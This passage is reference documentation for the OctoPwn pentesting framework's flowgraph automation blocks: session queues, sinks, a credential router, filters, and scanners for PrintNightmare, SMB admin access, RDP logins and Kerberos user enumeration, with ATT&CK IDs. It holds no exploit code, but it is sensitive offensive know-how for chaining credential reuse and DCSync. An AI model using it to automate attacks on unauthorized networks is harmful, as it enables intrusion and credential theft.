SOURCE_SESSIONS_NEW_LDAP will re-emit them as "new" on the next pass, bypassing the seen-ID filter. **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `session` | input | `session_ldap` | no | LDAP session reference to queue for next iteration | **Parameters** *No parameters.* --- ### `SESSION_QUEUE_SMB` *Category: `QUEUE`* Sink: receives SMB client session references and holds them for the next runloop iteration. SOURCE_SESSIONS_NEW_SMB will re-emit them as "new" on the next pass, bypassing the seen-ID filter. **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `session` | input | `session_smb` | no | SMB session reference to queue for next iteration | **Parameters** *No parameters.* --- ### `SESSION_QUEUE_SSH` *Category: `QUEUE`* Sink: receives SSH client session references and holds them for the next runloop iteration. SOURCE_SESSIONS_NEW_SSH will re-emit them as "new" on the next pass, bypassing the seen-ID filter. **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `session` | input | `session_ssh` | no | SSH session reference to queue for next iteration | **Parameters** *No parameters.* --- ### `SESSION_QUEUE_NETCAT` *Category: `QUEUE`* Sink: receives Netcat client session references and holds them for the next runloop iteration. SOURCE_SESSIONS_NEW_NETCAT will re-emit them as "new" on the next pass, bypassing the seen-ID filter. **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `session` | input | `session_netcat` | no | NETCAT session reference to queue for next iteration | **Parameters** *No parameters.* --- ### `SESSION_QUEUE_RDP` *Category: `QUEUE`* Sink: receives RDP client session references and holds them for the next runloop iteration. SOURCE_SESSIONS_NEW_RDP will re-emit them as "new" on the next pass, bypassing the seen-ID filter. **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `session` | input | `session_rdp` | no | RDP session reference to queue for next iteration | **Parameters** *No parameters.* --- ### `SESSION_QUEUE_DNS` *Category: `QUEUE`* Sink: receives DNS client session references and holds them for the next runloop iteration. SOURCE_SESSIONS_NEW_DNS will re-emit them as "new" on the next pass, bypassing the seen-ID filter. **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `session` | input | `session_dns` | no | DNS session reference to queue for next iteration | **Parameters** *No parameters.* --- ### `SESSION_QUEUE_DCEDRSUAPI` *Category: `QUEUE`* Sink: receives DCE-DRSUAPI client session references and holds them for the next runloop iteration. SOURCE_SESSIONS_NEW_DCEDRSUAPI will re-emit them as "new" on the next pass, bypassing the seen-ID filter. **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `session` | input | `session_dcedrsuapi` | no | DCEDRSUAPI session reference to queue for next iteration | **Parameters** *No parameters.* --- ### `SESSION_QUEUE_WINRM` *Category: `QUEUE`* Sink: receives WinRM client session references and holds them for the next runloop iteration. SOURCE_SESSIONS_NEW_WINRM will re-emit them as "new" on the next pass, bypassing the seen-ID filter. **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `session` | input | `session_winrm` | no | WINRM session reference to queue for next iteration | **Parameters** *No parameters.* --- ### `SESSION_QUEUE_NFS3` *Category: `QUEUE`* Sink: receives NFS client session references and holds them for the next runloop iteration. SOURCE_SESSIONS_NEW_NFS3 will re-emit them as "new" on the next pass, bypassing the seen-ID filter. **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `session` | input | `session_nfs3` | no | NFS3 session reference to queue for next iteration | **Parameters** *No parameters.* --- ### `SESSION_QUEUE_SNMP` *Category: `QUEUE`* Sink: receives SNMP client session references and holds them for the next runloop iteration. SOURCE_SESSIONS_NEW_SNMP will re-emit them as "new" on the next pass, bypassing the seen-ID filter. **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `session` | input | `session_snmp` | no | SNMP session reference to queue for next iteration | **Parameters** *No parameters.* --- ### `SESSION_QUEUE_NTP` *Category: `QUEUE`* Sink: receives NTP client session references and holds them for the next runloop iteration. SOURCE_SESSIONS_NEW_NTP will re-emit them as "new" on the next pass, bypassing the seen-ID filter. **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `session` | input | `session_ntp` | no | NTP session reference to queue for next iteration | **Parameters** *No parameters.* --- ### `SESSION_QUEUE_MSSQL` *Category: `QUEUE`* Sink: receives MSSQL client session references and holds them for the next runloop iteration. SOURCE_SESSIONS_NEW_MSSQL will re-emit them as "new" on the next pass, bypassing the seen-ID filter. **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `session` | input | `session_mssql` | no | MSSQL session reference to queue for next iteration | **Parameters** *No parameters.* --- ### `SESSION_QUEUE_FTP` *Category: `QUEUE`* Sink: receives FTP client session references and holds them for the next runloop iteration. SOURCE_SESSIONS_NEW_FTP will re-emit them as "new" on the next pass, bypassing the seen-ID filter. **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `session` | input | `session_ftp` | no | FTP session reference to queue for next iteration | **Parameters** *No parameters.* --- ### `SESSION_QUEUE_WMI` *Category: `QUEUE`* Sink: receives WMI client session references and holds them for the next runloop iteration. SOURCE_SESSIONS_NEW_WMI will re-emit them as "new" on the next pass, bypassing the seen-ID filter. **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `session` | input | `session_wmi` | no | WMI session reference to queue for next iteration | **Parameters** *No parameters.* --- ### `TERMINATOR_SINK` *Category: `SINK`* Zero sink — accepts any input and silently discards it. Wire error output ports here to prevent unconnected-port warnings. **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `data` | input | `any` | no | Any item — discarded | **Parameters** *No parameters.* --- ### `RERUN_TRIGGER` *Category: `SINK`* Local re-run trigger — if any items arrive, schedules a re-run of the current workflow scope. At the top level this re-runs the entire flowgraph after the global delay (setdelay). Inside a composite block this re-runs only the composite's inner graph. Wire any result port here whose non-empty output should trigger another pass — e.g. new credentials discovered by DCSync, new targets found by LDAP machines enumeration. Acts as a silent sink: items are discarded, only presence matters. Has no effect outside a run() call with persistent state (use the Run button, not runloop). **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `data` | input | `any` | no | Any items — their presence triggers a re-run | **Parameters** *No parameters.* --- ### `RERUN_TRIGGER_GLOBAL` *Category: `SINK`* Global re-run trigger — if any items arrive, schedules a re-run of the outermost (root) flowgraph after the global delay, regardless of nesting depth. Use inside composite blocks when inner-graph discoveries (e.g. new credentials) should cause the entire parent pipeline to run again. At the top level (no composites) this behaves identically to RERUN_TRIGGER. Acts as a silent sink: items are discarded, only presence matters. **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `data` | input | `any` | no | Any items — their presence triggers a global re-run | **Parameters** *No parameters.* --- ### `FILE_SINK` *Category: `SINK`* Writes each incoming item as a JSON line (JSONL) to a file in the OctoPwn workdir. Append mode by default so multiple runs accumulate. **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `data` | input | `any` | no | Any item — serialised to JSON and written to file | **Parameters** | Parameter | Type | Default | Required | Description | |-----------|------|---------|----------|-------------| | `filename` | `str` | | yes | Output filename (no path — always written to workdir) | | `mode` | `str` | `append` | no | append (default) or overwrite | --- ### `TAP_SINK` *Category: `TAP`* Pass-through probe — forwards all items unchanged while making the wire inspectable in the results panel. Insert inline on any edge to observe what is flowing through. **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `data` | input | `any` | no | Any item flowing through the wire | | `data` | output | `any` | no | Same items, passed through unchanged | **Parameters** *No parameters.* --- ### `CONSOLE` *Category: `CONSOLE`* Pass-through logging probe. Formats each incoming item using the message template and prints it to the runtime console via self.print(). Data flows through unchanged. Use {field_name} placeholders to interpolate item fields. **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `data` | input | `any` | no | Any item — logged then forwarded | | `data` | output | `any` | no | Same items, passed through unchanged | **Parameters** | Parameter | Type | Default | Required | Description | |-----------|------|---------|----------|-------------| | `message` | `str` | "" | no | Message template. Use {field_name} to interpolate. Empty = raw JSON. | --- --- # [Automations / Block reference] CredMux Source: https://docs.octopwn.com/plugins/automations/flowgraph/blocks/credmux.html <!-- AUTO-GENERATED — DO NOT EDIT BY HAND. Regenerate via: python scripts/generate_flowgraph_reference.py Source of truth: octopwn/enterprise/flowgraph/registry.py. --> # CredMux `CREDMUX` is the single most important routing block: it fans a single `credential` stream out onto protocol-typed output ports so that each downstream scanner / session / attack block receives only credentials it can actually use. Wiring `SOURCE_CREDENTIALS → CREDMUX → SCANNER_SMBLOGIN.credential` is idiomatic. See the [typing & wiring guide](../typing-and-wiring.md) for the full list of `credential_*` wire types. --- **1 block type(s) in this category.** --- ### `CREDMUX` *Category: `CREDMUX`* Routes credentials to protocol-compatible output ports. Credentials are matched against the allowed secret types for each protocol (from connectionhelpers). Passwords are emitted on all matching ports. Incompatible types are silently dropped on that port. **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `credential_in` | input | `credential` | no | Any credential | | `smb` | output | `credential_smb` | no | SMB-compatible credential (password, nt, rc4, aes, kerberos types) | | `ldap` | output | `credential_ldap` | no | LDAP-compatible credential | | `kerberos` | output | `credential_krb` | no | Kerberos-compatible credential | | `ssh` | output | `credential_ssh` | no | SSH-compatible credential (password, sshprivkey) | | `rdp` | output | `credential_rdp` | no | RDP-compatible credential (NTLM/Kerberos/password) | | `winrm` | output | `credential_winrm` | no | WinRM-compatible credential (NTLM/Kerberos including CredSSP/SPNEGO variants) | | `mssql` | output | `credential_mssql` | no | MSSQL-compatible credential (NTLM/Kerberos/password) | | `wmi` | output | `credential_wmi` | no | WMI-compatible credential (NTLM/Kerberos) | | `ftp` | output | `credential_ftp` | no | FTP-compatible credential (password) | | `vnc` | output | `credential_vnc` | no | VNC-compatible credential (password) | | `dcedrsuapi` | output | `credential_dcedrsuapi` | no | DCEDRSUAPI-compatible credential (NTLM/Kerberos) — used for DCSync via RPC | | `snmp` | output | `credential_snmp` | no | SNMP community string credential (password) | | `any` | output | `credential` | no | All credentials, unfiltered | | `hashcat` | output | `credential` | no | Hash credentials crackable by hashcat: nt, dcc, dcc2, kerberos stypes | **Parameters** *No parameters.* --- --- # [Automations / Block reference] Filters & gates Source: https://docs.octopwn.com/plugins/automations/flowgraph/blocks/filters.html <!-- AUTO-GENERATED — DO NOT EDIT BY HAND. Regenerate via: python scripts/generate_flowgraph_reference.py Source of truth: octopwn/enterprise/flowgraph/registry.py. --> # Filters, gates and collectors Filter blocks evaluate conditions on flowing items. `FILTER` and `FILTER_TARGETS` route items between `match` and `no_match` outputs based on a key / op / value triple. `COLLECT` accumulates items into a re-emittable store that feeds the `lookup` port of FILTER for set-membership checks. `GATE` is a flow-control toggle. `PAIR_DEDUP` cross-products targets × credentials and emits only `(tid, cid)` pairs not yet seen this runloop. `PORT_GATE` only lets targets through that have a given port open, running an automatic portscan if no port data exists yet. --- **6 block type(s) in this category.** --- ### `FILTER` *Category: `FILTER`* Evaluates a single condition on each incoming dict-shaped item. Items that pass go to the "match" port; items that fail go to "no_match". For set-membership checks wire a COLLECT.store to the optional "lookup" port, set op=in or op=not_in, and set value to the field name to extract from each lookup item. **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `data` | input | `any` | no | Any dict-shaped item (scanner result, etc.) | | `lookup` | input | `any` | yes | Optional lookup items for in/not_in ops — wire from COLLECT.store | | `match` | output | `any` | no | Items where condition is true | | `no_match` | output | `any` | no | Items where condition is false | **Parameters** | Parameter | Type | Default | Required | Description | |-----------|------|---------|----------|-------------| | `key` | `str` | | yes | Dict key to evaluate, e.g. "port" or "share" | | `op` | `str` | `eq` | no | Operator: eq \| ne \| gt \| lt \| contains \| in \| not_in | | `value` | `str` | | yes | Value to compare against, or field name to extract from lookup items for in/not_in | --- ### `FILTER_TARGETS` *Category: `FILTER`* Filters target dicts from SOURCE_TARGETS or scanner outputs. op=contains on list fields checks substring membership — e.g. key=ports, op=contains, value=445 matches targets with 445/TCP open. Other useful keys: ip, hostname, isdc, ostype, samaccountname. For set-membership checks wire a COLLECT.store to the optional "lookup" port and use op=in or op=not_in. **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `target` | input | `scan_result` | no | Target dict from SOURCE_TARGETS / SOURCE_TARGETS_NEW | | `lookup` | input | `any` | yes | Optional lookup items for in/not_in ops — wire from COLLECT.store | | `match` | output | `scan_result` | no | Targets where condition is true | | `no_match` | output | `scan_result` | no | Targets where condition is false | **Parameters** | Parameter | Type | Default | Required | Description | |-----------|------|---------|----------|-------------| | `key` | `str` | | yes | Target field to evaluate, e.g. "ports", "ip", "isdc" | | `op` | `str` | `eq` | no | Operator: eq \| ne \| gt \| lt \| contains \| in \| not_in | | `value` | `str` | | yes | Value to compare against, or field name to extract from lookup items for in/not_in | --- ### `COLLECT` *Category: `FILTER`* Collects all incoming items; re-emits them from the store output. Wire store → FILTER.lookup to enable in/not_in set-membership ops. Set dedup=true + key=<field> to emit only the first item per unique field value. **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `data` | input | `any` | no | Items to collect | | `store` | output | `any` | no | All collected (and optionally deduped) items | **Parameters** | Parameter | Type | Default | Required | Description | |-----------|------|---------|----------|-------------| | `name` | `str` | "" | no | Store name for cross-run persistence (optional) | | `dedup` | `bool` | false | no | Remove duplicate items | | `key` | `str` | "" | no | Field for dedup identity (empty = stringify item) | --- ### `GATE` *Category: `FILTER`* Flow-control gate: passes all data through when the trigger fires, blocks everything otherwise. Use default_open to invert behavior when the trigger port is not wired. **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `data` | input | `any` | no | Items to pass through or block | | `trigger` | input | `any` | yes | Gate opens when this port receives any item | | `data` | output | `any` | no | Passed-through items (empty when gate is closed) | **Parameters** | Parameter | Type | Default | Required | Description | |-----------|------|---------|----------|-------------| | `default_open` | `bool` | false | no | When true, data passes through if trigger is not wired. When false (default), data is blocked unless trigger fires. | --- ### `PAIR_DEDUP` *Category: `FILTER`* Cross-products credentials x targets and emits only (tid, cid) pairs not yet seen in previous runloop iterations. Wire into scanner or session pair ports to avoid re-scanning already-processed combos. **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `target` | input | `scan_result` | no | Target items with __tid | | `credential` | input | `credential` | no | Credential items with __cid | | `pair` | output | `scan_result` | no | New (tid, cid) pair dicts | **Parameters** *No parameters.* --- ### `PORT_GATE` *Category: `FILTER`* Passes only targets that have a specific port open. Checks the target store first; if no port data exists, runs a portscan automatically. Targets without the port are emitted on the no_port output. **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `target` | input | `raw_target` | no | Targets to check | | `target` | output | `scan_result` | no | Targets with the port confirmed open | | `no_port` | output | `scan_result` | no | Targets where the port is closed or unreachable | **Parameters** | Parameter | Type | Default | Required | Description | |-----------|------|---------|----------|-------------| | `port` | `int` | `445` | no | Port number to require | | `protocol` | `str` | `TCP` | no | Protocol (TCP or UDP) | | `timeout` | `int` | `5` | no | Portscan timeout per host (sec) | --- --- # [Automations / Block reference] Scanners Source: https://docs.octopwn.com/plugins/automations/flowgraph/blocks/scanners.html <!-- AUTO-GENERATED — DO NOT EDIT BY HAND. Regenerate via: python scripts/generate_flowgraph_reference.py Source of truth: octopwn/enterprise/flowgraph/registry.py. --> # Scanners Every entry in `octopwn.scanners.OCTOPWN_SCANNER_TABLE` is auto-registered as a `SCANNER_<NAME>` block. Scanner blocks have a `target` input port, an optional `credential` port (for authenticated scanners), an optional `pair` input that bypasses the cross-product, and a `result` output that emits scan-result items. Family-specific params (dialect, protocol, port lists, …) are derived dynamically from `octopwn.common.scanparams` so they always reflect what the scanner itself accepts. For the full scanner catalogue (WASM compat, tier, etc.) see the [scanner overview](../../../scanners/index.md). --- **49 block type(s) in this category.** --- ### `SCANNER_PORTSCAN` *Category: `SCANNER`* TCP connect scanner to discover open ports across target hosts **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `target` | input | `raw_target` | no | Scan target — raw_target or scan_result from any source block or upstream scanner | | `pair` | input | `scan_result` | yes | Pre-paired (tid, cid) items — bypasses target x credential cross-product | | `result` | output | `scan_result` | no | Scan result items | **Parameters** | Parameter | Type | Default | Required | Description | |-----------|------|---------|----------|-------------| | `ports` | `list` | `['445', '22', '88', '3389']` | no | Ports to scan | | `timeout` | `int` | `10` | no | Per-host timeout in seconds | | `skip_done` | `bool` | false | no | Skip (target, credential) pairs already scanned in a previous runloop iteration | | `skip_target` | `bool` | false | no | Skip targets that already produced results in a previous runloop iteration | | `skip_credential` | `bool` | false | no | Skip credentials that already produced results in a previous runloop iteration | **Output schema — `result`** | Field | Type | Description | |-------|------|-------------| | `target` | `str` | Target IP or hostname | | `port` | `int` | Port number | | `protocol` | `str` | Protocol (TCP or UDP) | | `resid` | `str` | Result ID (usually target IP or hostname) | | `restype` | `str` | Result type class name | | `__tid` | `int` | Target store ID | | `__cid` | `int` | Credential store ID (null for unauthenticated scans) | **MITRE ATT&CK:** `T1046` --- ### `SCANNER_SMBSESSION` *Category: `SCANNER`* Lists active user sessions on SMB targets to map who is logged in where **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `target` | input | `raw_target` | no | Scan target — raw_target or scan_result from any source block or upstream scanner | | `credential` | input | `credential_smb` | no | Compatible credential | | `pair` | input | `scan_result` | yes | Pre-paired (tid, cid) items — bypasses target x credential cross-product | | `result` | output | `scan_result` | no | Scan result items | **Parameters** | Parameter | Type | Default | Required | Description | |-----------|------|---------|----------|-------------| | `timeout` | `int` | `10` | no | Per-host timeout in seconds | | `skip_done` | `bool` | false | no | Skip (target, credential) pairs already scanned in a previous runloop iteration | | `skip_target` | `bool` | false | no | Skip targets that already produced results in a previous runloop iteration | | `skip_credential` | `bool` | false | no | Skip credentials that already produced results in a previous runloop iteration | **Output schema — `result`** | Field | Type | Description | |-------|------|-------------| | `resid` | `str` | Result ID (usually target IP or hostname) | | `restype` | `str` | Result type class name | | `__tid` | `int` | Target store ID | | `__cid` | `int` | Credential store ID (null for unauthenticated scans) | --- ### `SCANNER_SMBPROTO` *Category: `SCANNER`* Enumerates supported SMB dialects and signing settings per protocol version **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `target` | input | `raw_target` | no | Scan target — raw_target or scan_result from any source block or upstream scanner | | `pair` | input | `scan_result` | yes | Pre-paired (tid, cid) items — bypasses target x credential cross-product | | `result` | output | `scan_result` | no | Scan result items | **Parameters** | Parameter | Type | Default | Required | Description | |-----------|------|---------|----------|-------------| | `timeout` | `int` | `10` | no | Per-host timeout in seconds | | `skip_done` | `bool` | false | no | Skip (target, credential) pairs already scanned in a previous runloop iteration | | `skip_target` | `bool` | false | no | Skip targets that already produced results in a previous runloop iteration | | `skip_credential` | `bool` | false | no | Skip credentials that already produced results in a previous runloop iteration | **Output schema — `result`** | Field | Type | Description | |-------|------|-------------| | `resid` | `str` | Result ID (usually target IP or hostname) | | `restype` | `str` | Result type class name | | `__tid` | `int` | Target store ID | | `__cid` | `int` | Credential store ID (null for unauthenticated scans) | **MITRE ATT&CK:** `T1046` --- ### `SCANNER_SMBPRINTNIGHTMARE` *Category: `SCANNER`* Tests for PrintNightmare (CVE-2021-1675 / CVE-2021-34527) vulnerability via SMB **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `target` | input | `raw_target` | no | Scan target — raw_target or scan_result from any source block or upstream scanner | | `credential` | input | `credential_smb` | no | Compatible credential | | `pair` | input | `scan_result` | yes | Pre-paired (tid, cid) items — bypasses target x credential cross-product | | `result` | output | `scan_result` | no | Scan result items | **Parameters** | Parameter | Type | Default | Required | Description | |-----------|------|---------|----------|-------------| | `timeout` | `int` | `10` | no | Per-host timeout in seconds | | `skip_done` | `bool` | false | no | Skip (target, credential) pairs already scanned in a previous runloop iteration | | `skip_target` | `bool` | false | no | Skip targets that already produced results in a previous runloop iteration | | `skip_credential` | `bool` | false | no | Skip credentials that already produced results in a previous runloop iteration | **Output schema — `result`** | Field | Type | Description | |-------|------|-------------| | `resid` | `str` | Result ID (usually target IP or hostname) | | `restype` | `str` | Result type class name | | `__tid` | `int` | Target store ID | | `__cid` | `int` | Credential store ID (null for unauthenticated scans) | **MITRE ATT&CK:** `T1210` --- ### `SCANNER_SMBFINGER` *Category: `SCANNER`* Fingerprints OS version and domain info from unauthenticated SMB NTLM handshakes **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `target` | input | `raw_target` | no | Scan target — raw_target or scan_result from any source block or upstream scanner | | `pair` | input | `scan_result` | yes | Pre-paired (tid, cid) items — bypasses target x credential cross-product | | `result` | output | `scan_result` | no | Scan result items | **Parameters** | Parameter | Type | Default | Required | Description | |-----------|------|---------|----------|-------------| | `timeout` | `int` | `10` | no | Per-host timeout in seconds | | `skip_done` | `bool` | false | no | Skip (target, credential) pairs already scanned in a previous runloop iteration | | `skip_target` | `bool` | false | no | Skip targets that already produced results in a previous runloop iteration | | `skip_credential` | `bool` | false | no | Skip credentials that already produced results in a previous runloop iteration | **Output schema — `result`** | Field | Type | Description | |-------|------|-------------| | `domainname` | `str` | NetBIOS domain name | | `computername` | `str` | NetBIOS computer name | | `dnscomputername` | `str` | DNS computer name (FQDN) | | `dnsdomainname` | `str` | DNS domain name | | `dnsforestname` | `str` | DNS forest name | | `local_time` | `str` | Server local time | | `os_build` | `str` | OS build number | | `os_guess` | `str` | OS guess string (e.g. Windows Server 2019) | | `os_major_version` | `str` | OS major version name | | `os_minor_version` | `str` | OS minor version name | | `resid` | `str` | Result ID (usually target IP or hostname) | | `restype` | `str` | Result type class name | | `__tid` | `int` | Target store ID | | `__cid` | `int` | Credential store ID (null for unauthenticated scans) | **MITRE ATT&CK:** `T1046` --- ### `SCANNER_SMBIFACE` *Category: `SCANNER`* Enumerates network interfaces and IP addresses on targets via SMB **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `target` | input | `raw_target` | no | Scan target — raw_target or scan_result from any source block or upstream scanner | | `credential` | input | `credential_smb` | no | Compatible credential | | `pair` | input | `scan_result` | yes | Pre-paired (tid, cid) items — bypasses target x credential cross-product | | `result` | output | `scan_result` | no | Scan result items | **Parameters** | Parameter | Type | Default | Required | Description | |-----------|------|---------|----------|-------------| | `timeout` | `int` | `10` | no | Per-host timeout in seconds | | `skip_done` | `bool` | false | no | Skip (target, credential) pairs already scanned in a previous runloop iteration | | `skip_target` | `bool` | false | no | Skip targets that already produced results in a previous runloop iteration | | `skip_credential` | `bool` | false | no | Skip credentials that already produced results in a previous runloop iteration | **Output schema — `result`** | Field | Type | Description | |-------|------|-------------| | `resid` | `str` | Result ID (usually target IP or hostname) | | `restype` | `str` | Result type class name | | `__tid` | `int` | Target store ID | | `__cid` | `int` | Credential store ID (null for unauthenticated scans) | --- ### `SCANNER_SMBADMIN` *Category: `SCANNER`* Tests admin-level access on targets by probing C$, Service Manager and Remote Registry **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `target` | input | `raw_target` | no | Scan target — raw_target or scan_result from any source block or upstream scanner | | `credential` | input | `credential_smb` | no | Compatible credential | | `pair` | input | `scan_result` | yes | Pre-paired (tid, cid) items — bypasses target x credential cross-product | | `result` | output | `scan_result` | no | Scan result items | **Parameters** | Parameter | Type | Default | Required | Description | |-----------|------|---------|----------|-------------| | `timeout` | `int` | `10` | no | Per-host timeout in seconds | | `skip_done` | `bool` | false | no | Skip (target, credential) pairs already scanned in a previous runloop iteration | | `skip_target` | `bool` | false | no | Skip targets that already produced results in a previous runloop iteration | | `skip_credential` | `bool` | false | no | Skip credentials that already produced results in a previous runloop iteration | **Output schema — `result`** | Field | Type | Description | |-------|------|-------------| | `SHARE` | `bool` | Access to C$ (admin share) | | `SERVICE` | `bool` | Access to Remote Service Manager | | `REGISTRY` | `bool` | Access to Remote Registry | | `resid` | `str` | Result ID (usually target IP or hostname) | | `restype` | `str` | Result type class name | | `__tid` | `int` | Target store ID | | `__cid` | `int` | Credential store ID (null for unauthenticated scans) | **MITRE ATT&CK:** `T1135` --- ### `SCANNER_SMBFILE` *Category: `SCANNER`* Recursively enumerates shares, directories and files on SMB targets **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `target` | input | `raw_target` | no | Scan target — raw_target or scan_result from any source block or upstream scanner | | `credential` | input | `credential_smb` | no | Compatible credential | | `pair` | input | `scan_result` | yes | Pre-paired (tid, cid) items — bypasses target x credential cross-product | | `result` | output | `scan_result` | no | Scan result items | **Parameters** | Parameter | Type | Default | Required | Description | |-----------|------|---------|----------|-------------| | `timeout` | `int` | `10` | no | Per-host timeout in seconds | | `skip_done` | `bool` | false | no | Skip (target, credential) pairs already scanned in a previous runloop iteration | | `skip_target` | `bool` | false | no | Skip targets that already produced results in a previous runloop iteration | | `skip_credential` | `bool` | false | no | Skip credentials that already produced results in a previous runloop iteration | **Output schema — `result`** | Field | Type | Description | |-------|------|-------------| | `resid` | `str` | Result ID (usually target IP or hostname) | | `restype` | `str` | Result type class name | | `__tid` | `int` | Target store ID | | `__cid` | `int` | Credential store ID (null for unauthenticated scans) | **MITRE ATT&CK:** `T1083` --- ### `SCANNER_RDPSCREEN` *Category: `SCANNER`* Captures screenshots from RDP sessions for visual reconnaissance **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `target` | input | `raw_target` | no | Scan target — raw_target or scan_result from any source block or upstream scanner | | `credential` | input | `credential_smb` | no | Compatible credential | | `pair` | input | `scan_result` | yes | Pre-paired (tid, cid) items — bypasses target x credential cross-product | | `result` | output | `scan_result` | no | Scan result items | **Parameters** | Parameter | Type | Default | Required | Description | |-----------|------|---------|----------|-------------| | `timeout` | `int` | `10` | no | Per-host timeout in seconds | | `skip_done` | `bool` | false | no | Skip (target, credential) pairs already scanned in a previous runloop iteration | | `skip_target` | `bool` | false | no | Skip targets that already produced results in a previous runloop iteration | | `skip_credential` | `bool` | false | no | Skip credentials that already produced results in a previous runloop iteration | **Output schema — `result`** | Field | Type | Description | |-------|------|-------------| | `resid` | `str` | Result ID (usually target IP or hostname) | | `restype` | `str` | Result type class name | | `__tid` | `int` | Target store ID | | `__cid` | `int` | Credential store ID (null for unauthenticated scans) | --- ### `SCANNER_RDPLOGIN` *Category: `SCANNER`* Tests credential validity against RDP servers for remote desktop access **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `target` | input | `raw_target` | no | Scan target — raw_target or scan_result from any source block or upstream scanner | | `credential` | input | `credential_smb` | no | Compatible credential | | `pair` | input | `scan_result` | yes | Pre-paired (tid, cid) items — bypasses target x credential cross-product | | `result` | output | `scan_result` | no | Scan result items | **Parameters** | Parameter | Type | Default | Required | Description | |-----------|------|---------|----------|-------------| | `timeout` | `int` | `10` | no | Per-host timeout in seconds | | `skip_done` | `bool` | false | no | Skip (target, credential) pairs already scanned in a previous runloop iteration | | `skip_target` | `bool` | false | no | Skip targets that already produced results in a previous runloop iteration | | `skip_credential` | `bool` | false | no | Skip credentials that already produced results in a previous runloop iteration | **Output schema — `result`** | Field | Type | Description | |-------|------|-------------| | `data` | `str` | Login result string: always 'TRUE' (only successes stored) | | `resid` | `str` | Result ID (usually target IP or hostname) | | `restype` | `str` | Result type class name | | `__tid` | `int` | Target store ID | | `__cid` | `int` | Credential store ID (null for unauthenticated scans) | **MITRE ATT&CK:** `T1021.001` --- ### `SCANNER_RDPCAP` *Category: `SCANNER`* Enumerates RDP security capabilities including Restricted Admin and auth modes **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `target` | input | `raw_target` | no | Scan target — raw_target or scan_result from any source block or upstream scanner | | `credential` | input | `credential_smb` | no | Compatible credential | | `pair` | input | `scan_result` | yes | Pre-paired (tid, cid) items — bypasses target x credential cross-product | | `result` | output | `scan_result` | no | Scan result items | **Parameters** | Parameter | Type | Default | Required | Description | |-----------|------|---------|----------|-------------| | `timeout` | `int` | `10` | no | Per-host timeout in seconds | | `skip_done` | `bool` | false | no | Skip (target, credential) pairs already scanned in a previous runloop iteration | | `skip_target` | `bool` | false | no | Skip targets that already produced results in a previous runloop iteration | | `skip_credential` | `bool` | false | no | Skip credentials that already produced results in a previous runloop iteration | **Output schema — `result`** | Field | Type | Description | |-------|------|-------------| | `resid` | `str` | Result ID (usually target IP or hostname) | | `restype` | `str` | Result type class name | | `__tid` | `int` | Target store ID | | `__cid` | `int` | Credential store ID (null for unauthenticated scans) | --- ### `SCANNER_KRB5USER` *Category: `SCANNER`* Enumerates valid AD usernames via Kerberos without credentials **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `target` | input | `raw_target` | no | Scan target — raw_target or scan_result from any source block or upstream scanner | | `credential` | input | `credential_krb` | no | Compatible credential | | `pair` | input | `scan_result` | yes | Pre-paired (tid, cid) items — bypasses target x credential cross-product | | `result` | output | `scan_result` | no | Scan result items | **Parameters** | Parameter | Type | Default | Required | Description | |-----------|------|---------|----------|-------------| | `timeout` | `int` | `10` | no | Per-host timeout in seconds | | `skip_done` | `bool` | false | no | Skip (target, credential) pairs already scanned in a previous runloop iteration | | `skip_target` | `bool` | false | no | Skip targets that already produced results in a previous runloop iteration | | `skip_credential` | `bool` | false | no | Skip credentials that already produced results in a previous runloop iteration | **Output schema — `result`** | Field | Type | Description | |-------|------|-------------| | `resid` | `str` | Result ID (usually target IP or hostname) | | `restype` | `str` | Result type class name | | `__tid` | `int` | Target store ID | | `__cid` | `int` | Credential store ID (null for unauthenticated scans) | **MITRE ATT&CK:** `T1087.002` --- ### 